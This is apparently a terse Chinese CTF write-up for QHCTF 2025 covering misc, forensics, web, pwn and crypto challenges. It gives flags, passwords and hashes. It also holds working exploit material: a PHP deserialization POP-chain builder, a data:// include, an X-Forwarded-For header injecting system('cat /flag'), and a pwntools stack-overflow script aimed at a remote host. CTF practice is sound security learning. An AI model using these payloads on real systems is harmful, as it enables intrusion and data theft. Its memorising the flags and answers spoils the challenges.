misc
PvzHE
去这个文件夹
有一张图片
QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}
QHCTF For Year 2025
攻防世界有一样的
080714212829302316092230
对应Q
以此类推
QHCTF{FUN}
请找出拍摄地所在位置
柳城
丰顺
forensics
win01
这个软件
云沙盒分析一下
md5
ad4fdee2eada36ec3c20e9d6311cf258
Win_02
HackY$
32ED87BDB5FDC5E9CBA88547376818D4
123456
HackY$_123456
fb484ad326c0f3a4970d1352bfbafef8
Win_07
找到密码
Th3_1s_F1ag.Z1p_P@ssW0rd_Y0u_Now
解压
QHCTF{6143b46a-8e98-4356-a9b2-251a7ec19e51}
web
Web_pop
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to QHCTF 2025, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}if(isset($_POST['pop'])){unserialize($_POST['pop']);
}
后门在这里file_get_contents('/flag');
然后逆着看
__invoke
($this->func)();->__invoke
if(isset($this->obj->cmd))->($this->func)();->__invoke
$this->cla = clone $var[0];-> if(isset($this->obj->cmd))->($this->func)();->__invoke
$this->obj->check($this->var);->$this->cla = clone $var[0];-> if(isset($this->obj->cmd))->($this->func)();->__invoke
echo "Welcome to QHCTF 2025, ".$this->name;-> $this->obj->check($this->var);->$this->cla = clone $var[0];-> if(isset($this->obj->cmd))->($this->func)();->__invoke
这样来触发。
也就是
$a=new Start();
$a->name=new Sec();
$a->name->obj=new Easy();
$a->name->obj->cla=new eeee();
$a->name->obj->cla->obj=new Start();
$a->name->obj->cla->obj->func=new Sec();
exp：
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start
{public $name;public $func;}class Sec
{public $obj;public $var;}class Easy
{public $cla;}class eeee
{public $obj;}$a = new Start;
$b = new Sec;
$c = new Easy;
$d = new eeee;
$e = new Sec;
$f = new Start;
$a->name = $b;
$b->obj = $c;
$b->var = $d;
$d->obj = $f;
$f->func = $e;
echo serialize($a);
Easy_include
?file=data://text/plain,
即可命令执行
Web_IP
IP的地方可以执行命令
X-Forwarded-For： {system('cat /flag')}
PCREMagic
可以上传文件，对文件名没有限制，最后都会重命名1-9.php
关键是文件内容检测<?php
pwn
Easy_Pwn
vulnerable
栈溢出
exp
from pwn import*
from struct import pack
from ctypes import *
#from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('154.64.245.108',33135)
#p=process('./pwn')
libc=ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf=ELF('./pwn')
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
def pr(a):print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')pay=b'a'*0x58+p64(0x4011ca)
#bug()
s(pay)
inter()
cr
Easy_RSA
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64# 生成RSA密钥对
private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQCYQjRaBQcBJmdxdCo4YaK/8TIdlj9Cjt6ewjF8NzV7BAj5ZEXy\nsuXdYbXVOAmVKDYKglo9TKUbRVKbPk7f3rIfnIrMqm8TpJTPAnyssiXs3Zy9yz+p\nqWbRTvd0xWJoWxy9TTzdczkS8yVkRBIdNJ3ghJV8B5YVkgFtMoyPX8TQhQIDAQAB\nAoGARibOvyEs2oNKyvO2VjbqCRzEtewZZn20JZqcuTooum6gAeQI9GsnzKnt4PkK\nNT6LM6lekXrEYb29c0iwh6YwE/mOIu5G3Yz2qQJDyZEqvM4N4KnITJM4v1WPv7tC\nurpZj906Odbx6oFXNc5XJMGp6GgjOqqLomBCcRvKlKdX36sCQQDA3GGS4Hy5htlQ\nydkiQujUAAlcoTlx/kPZSrCOehBsOWytwRjiGm1xTu6s8mBY2O+kIDZx1DGbDQ54\nKi9jJqWfAkEAyhr1iR9mofi+WqSfcG41jjmLFUgKFcO/ImcE3kcs2eGLodoyOJF1\nCBPw8ANME36OJiwXNSFOyQJWuzNoJchvWwJAG36Pjn/gaBaYXpMYGHFPfgGvU/xM\nEzs7cvvZ5cXzF2qsWqz/niREW/XzwsYfBCuRJmXNPTcSB1e6K1lgPhNhYwJBALZg\nxZnL4E3hrcUWMVq/2UxS2ROHQrKJRf3BgT8kc3Dae6q+v/sUJ8v2UsID967P0W7Y\n8shbGkGB/spHhYAy82kCQE7UVrGsArk46F1snawUIPUPMye3yBwvCeyCSX+WyQ7h\nS1IaHaAy3kJ9J/0faMDayG724TpMcsBii1pU2Hhh8p0=\n-----END RSA PRIVATE KEY-----'
public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYQjRaBQcBJmdxdCo4YaK/8TId\nlj9Cjt6ewjF8NzV7BAj5ZEXysuXdYbXVOAmVKDYKglo9TKUbRVKbPk7f3rIfnIrM\nqm8TpJTPAnyssiXs3Zy9yz+pqWbRTvd0xWJoWxy9TTzdczkS8yVkRBIdNJ3ghJV8\nB5YVkgFtMoyPX8TQhQIDAQAB\n-----END PUBLIC KEY-----'
enmessage="PSvEAGef52/sz8q2f3jjC2OJP9pYEa04kSTeTIX3swnAMrJw9ZagvLRplqk+NjdCmvRAbnbYrBXi9aP8sz604rqn+7S58WTyPgnqIkFwynHBY7NTmvVAKKDc7GJWltQql4iVAxFbrwIBREcSZJwhloWGmCa5dBjlMEzWtv6Jx0o="def encrypt_message(message, public_key):key = RSA.import_key(public_key)cipher = PKCS1_OAEP.new(key)encrypted_message = cipher.encrypt(message.encode())return base64.b64encode(encrypted_message).decode()def decrypt_message(encrypted_message, private_key):key = RSA.import_key(private_key)cipher = PKCS1_OAEP.new(key)decrypted_message = cipher.decrypt(base64.b64decode(encrypted_message))return decrypted_message.decode()#message = "Hello, this is a secret message!"
# encrypted = encrypt_message(message, public_key)
# print("加密后的消息:")
# print(encrypted)decrypted = decrypt_message(enmessage, private_key)
print("解密后的消息:")
print(decrypted)
传入题目给的公钥，私钥，以及密文（访问靶机/encode）即可
QHCTF{ec9ee719-8336-4a7c-8c7f-745c89d220ce}
